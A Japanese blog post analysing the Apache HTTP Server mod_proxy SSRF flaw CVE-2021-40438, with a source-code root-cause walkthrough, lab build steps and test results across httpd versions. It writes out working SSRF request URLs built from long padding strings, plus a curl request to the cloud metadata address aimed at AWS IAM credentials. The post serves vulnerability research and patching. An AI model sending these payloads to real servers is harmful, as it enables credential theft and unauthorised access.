- 記事一覧 >
- ブログ記事

Apacheの脆弱性(CVE-2021-40438)について深堀りしてみた
はじめに
CVE-2021-40438(JVNDB-2021-004150) の脆弱性について、放置すると何が起きるのか、気になったので、調べてみました。
・Apache HTTP Server 2.4.48 およびそれ以前
・mod_proxy の設定(ProxyPass、ProxyPassReverse)が設定されている
の場合、脆弱性を突かれることになります。
JVNDB-2021-004150 の説明では、
・Apache HTTP Server には、mod_proxy に関する処理に不備があるため、リモートユーザが選択したオリジンサーバにリクエストを転送される脆弱性が存在します。
・巧妙に細工されたリクエスト uri-path を介して、リモートユーザが選択したオリジンサーバにリクエストを転送される可能性があります。
との記述がありますが、最初、いまいちよく分かりませんでした。
何が起きるのか、なぜ起きるのかを調べてみると、言っていることが理解できました。
本記事情報の誤りにより何らかの問題が生じても、一切責任を負いません。
【検証環境】
CentOS 7.9
apr-1.7.0.tar.gz
pcre-8.45.tar.gz
apr-util-1.6.1.tar.gz
httpd-2.4.7.tar.gz
httpd-2.4.10.tar.gz
httpd-2.4.12.tar.gz
httpd-2.4.48.tar.gz
httpd-2.4.49.tar.gz
以下、深堀りした結果を記述します。
現象
こちらの記事を大いに参考にさせていただきました。
https://cydrill.com/owasp/apache-ssrf-an-all-you-can-eat-reverse-proxy/
http://example.com/ は、ProxyPass、ProxyPassReverse の設定が有効で、脆弱性のあるサイトの URL とします。
以下のような URL により、ProxyPass、ProxyPassReverse の設定は無視されて、http://攻撃者が行かせたいURL/の方へ転送されます。
http://example.com/?unix:長い文字列|http://攻撃者が行かせたいURL/具体的には、以下のようなリクエストです。
http://example.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/Aですが、Aである必要は有りません。(任意の文字)
また、再現する文字列の長さはおそらく、環境で決まります。参考記事では、7701文字とありましたが、今回の場合は、4070文字で再現しました。
何が問題?
http://example.com/ 運営者の意思に反して、不正に転送されること自体が問題であることは間違いないのですが、それだけかというとそうではありません。
こちらの参考記事に重大な問題が書かれていました。
https://northwave-security.com/19221/
http://example.com/?unix:長い文字列|http://169.254.169.254/latest/meta-data/iam/security-credentials/ServiceRoleのようなリクエストで、AWS IAM ロールのセキュリティクレデンシャルを盗み見ることができます。
以下の図のような状況の時に問題があるようです。
実際に盗み見ることができるかは試していません。
攻撃イメージ:
# curl "http://example.com/?unix:長い文字列|http://IAM用IPアドレス/latest/meta-data/iam/security-credentials/ServiceRole"
{
"Code" : "Success",
"LastUpdated" : "2021-10-28T07:08:32Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...REDACTED...",
"SecretAccessKey" : "SECRET_REDACTED",
"Token" : "SECRET TOKEN BASE64 REDACTED ==",
"Expiration" : "2021-10-28T13:33:19Z"
}原因(メカニズム)
再現するときは、以下のソースコードが関係しています。apr-1.7.0 、 httpd-2.4.48 のソースコードを元に説明しています。
unix: が URI のどこかに書かれていると、 ap_runtime_dir_relative 呼び出し。( proxy_util.c 2218 行目)
↓apr_filepath_merge 呼び出し( config.c 1616 行目)
↓apr_filepath_merge で APR_PATH_MAX を超えるパス長のため、 return APR_ENAMETOOLONG ( apr-1.7.0 の filepath.c 154 行目)
↓ap_runtime_dir_relative からは、 NULL が返り、そのまま null チェックされず、 apr_table_setn(r->notes, "uds_path", sockpath); で uds_path が null になる。( proxy_util.c 2219 行目)
↓
UDS(Unix ドメインソケット)の指定が無かったことになり、ただのプロキシ指定となって、 proxy:パイプの後ろのhttp://... にリクエストが発行される。
検証環境では、
APR_PATH_MAXは、4096、APR_ENAMETOOLONGは、36でした。
maxlen = rootlen + strlen(addpath) + 4;で
if (maxlen > APR_PATH_MAX) {のため、
rootpath=/usr/local/apache2/logs
rootlen = strlen(rootpath)が23
+ 4の関係で、再現するときの値("A"の数)は、4070文字以上でした。
UDS(Unixドメインソケット)機能の
unix:については、httpd-2.4.7で対応された機能です。マニュアル(https://httpd.apache.org/docs/2.4/en/mod/mod_proxy.html#proxypass)には、
Compatibility: Unix Domain Socket (UDS) support added in 2.4.7の記述があります。
httpd-2.4.48/modules/proxy/proxy_util.c:
2204 static void fix_uds_filename(request_rec *r, char **url)
2205 {
2206 char *ptr, *ptr2;
2207 if (!r || !r->filename) return;
2208
2209 if (!strncmp(r->filename, "proxy:", 6) &&
2210 (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
2211 (ptr = ap_strchr(ptr2, '|'))) {
2212 apr_uri_t urisock;
2213 apr_status_t rv;
2214 *ptr = '\0';
2215 rv = apr_uri_parse(r->pool, ptr2, &urisock);
2216 if (rv == APR_SUCCESS) {
2217 char *rurl = ptr+1;
2218 char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
2219 apr_table_setn(r->notes, "uds_path", sockpath);
2220 *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
2221 /* r->filename starts w/ "proxy:", so add after that */
2222 memmove(r->filename+6, rurl, strlen(rurl)+1);
2223 ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
2224 "*: rewrite of url due to UDS(%s): %s (%s)",
2225 sockpath, *url, r->filename);
2226 }
2227 else {
2228 *ptr = '|';
2229 }
2230 }
2231 }httpd-2.4.48/server/config.c:
1610 AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
1611 {
1612 char *newpath = NULL;
1613 apr_status_t rv;
1614 const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
1615
1616 rv = apr_filepath_merge(&newpath, runtime_dir, file,
1617 APR_FILEPATH_TRUENAME, p);
1618 if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
1619 || APR_STATUS_IS_ENOENT(rv)
1620 || APR_STATUS_IS_ENOTDIR(rv))) {
1621 return newpath;
1622 }
1623 else {
1624 return NULL;
1625 }
1626 }apr-1.7.0/file_io/unix/filepath.c:
81 APR_DECLARE(apr_status_t) apr_filepath_merge(char **newpath,
82 const char *rootpath,
83 const char *addpath,
84 apr_int32_t flags,
85 apr_pool_t *p)
86 {
87 char *path;
88 apr_size_t rootlen; /* is the length of the src rootpath */
89 apr_size_t maxlen; /* maximum total path length */
・・・(略)・・・
150 maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
151 * root, and at end, plus trailing
152 * null */
153 if (maxlen > APR_PATH_MAX) {
154 return APR_ENAMETOOLONG;
155 }
156 path = (char *)apr_palloc(p, maxlen);
157
158 if (addpath[0] == '/') {
・・・(略)・・・httpd 各バージョン調査
httpd-2.4.7、httpd-2.4.10、httpd-2.4.12、httpd-2.4.48、httpd-2.4.49 について、どうなるか調査しました。
要約すると、以下の結果です。httpd-2.4.7 から UDS(Unix ドメインソケット)機能が実装されているはずですが、httpd-2.4.7、httpd-2.4.10 に関しては、再現しませんでした。httpd-2.4.7:再現しないhttpd-2.4.10:再現しないhttpd-2.4.12:再現httpd-2.4.48:再現httpd-2.4.49:再現しない
httpd-2.4.7、httpd-2.4.10は再現しませんでしたが、更新が不要という意味ではありません。
ソースコードを書き換えて以下のように CentOS 7.9 でビルドして調査しました。
# tar zxf apr-1.7.0.tar.gz
# tar zxf apr-util-1.6.1.tar.gz
# tar zxf pcre-8.45.tar.gz
# tar zxf httpd-2.4.48.tar.gz
# cd apr-1.7.0/
# ./configure && make && make install
# yum -y install expat-devel
# cd ../apr-util-1.6.1/
# ./configure --with-apr=../apr-1.7.0 && make && make install
# cd ../pcre-8.45/
# ./configure && make && make install
# cd ../httpd-2.4.48/
# ./configure --enable-proxy && make && make install
# firewall-cmd --add-service=http --permanent
# firewall-cmd --reload
# vi /usr/local/apache2/conf/httpd.confLoadModule proxy_module modules/mod_proxy.so
・・・(略)・・・
ProxyPass / "http://proxy.example.com/"
ProxyPassReverse / "http://proxy.example.com/"# /usr/local/apache2/bin/apachectl startAH01177: Failed to lookup provider 'shm' for 'slotmem': is mod_slotmem_shm loaded??
というエラーが発生した場合
/usr/local/httpd/current/conf/httpd.confの
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
部分のコメントアウトの解除が必要です。
以下の URL でテストした結果をまとめました。
テスト1
http://example.com/?unix:テスト2
http://example.com/?unix:|テスト3
http://example.com/?unix:AAA|http://google.com/テスト4
http://example.com/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://google.com/(A の数は 4070 個)
「再現しない」とは、 ProxyPass(ProxyPassReverse) に設定した、URLに転送された(本来機能すべきプロキシ機能が普通に機能した)という意味です。
apr_filepath_mergeとは、apr-1.7.0/file_io/unix/filepath.cのapr_filepath_mergeのAPR_PATH_MAXチェック処理がどうなったかを示します。
●httpd-2.4.7
| テスト | 状況 | apr_filepath_merge |
|---|---|---|
| 1 | 再現しない | 通過しない |
| 2 | 再現しない | 通過しない |
| 3 | 再現しない | 通過しない |
| 4 | 再現しない | 通過しない |
●httpd-2.4.10
| テスト | 状況 | apr_filepath_merge |
|---|---|---|
| 1 | 再現しない | 通過しない |
| 2 | 再現しない | 通過しない |
| 3 | 再現しない | 通過しない |
| 4 | 再現しない | 通過しない |
●httpd-2.4.12
| テスト | 状況 | apr_filepath_merge |
|---|---|---|
| 1 | 再現しない | 通過しない |
| 2 | 500 エラー | APR_PATH_MAX 以下 |
| 3 | 503 エラー | APR_PATH_MAX 以下 |
| 4 | 再現 | APR_PATH_MAX 超過 |
●httpd-2.4.48
| テスト | 状況 | apr_filepath_merge |
|---|---|---|
| 1 | 再現しない | 通過しない |
| 2 | 500 エラー | APR_PATH_MAX 以下 |
| 3 | 503 エラー | APR_PATH_MAX 以下 |
| 4 | 再現 | APR_PATH_MAX 超過 |
●httpd-2.4.49
| テスト | 状況 | apr_filepath_merge |
|---|---|---|
| 1 | 再現しない | 通過しない |
| 2 | 再現しない | 通過しない |
| 3 | 再現しない | 通過しない |
| 4 | 再現しない | 通過しない |

その他、宣伝、誹謗中傷等、当方が不適切と判断した書き込みは、理由の如何を問わず、投稿者に断りなく削除します。
書き込み内容について、一切の責任を負いません。
このコメント機能は、予告無く廃止する可能性があります。ご了承ください。
コメントの削除をご依頼の場合はTwitterのDM等でご連絡ください。








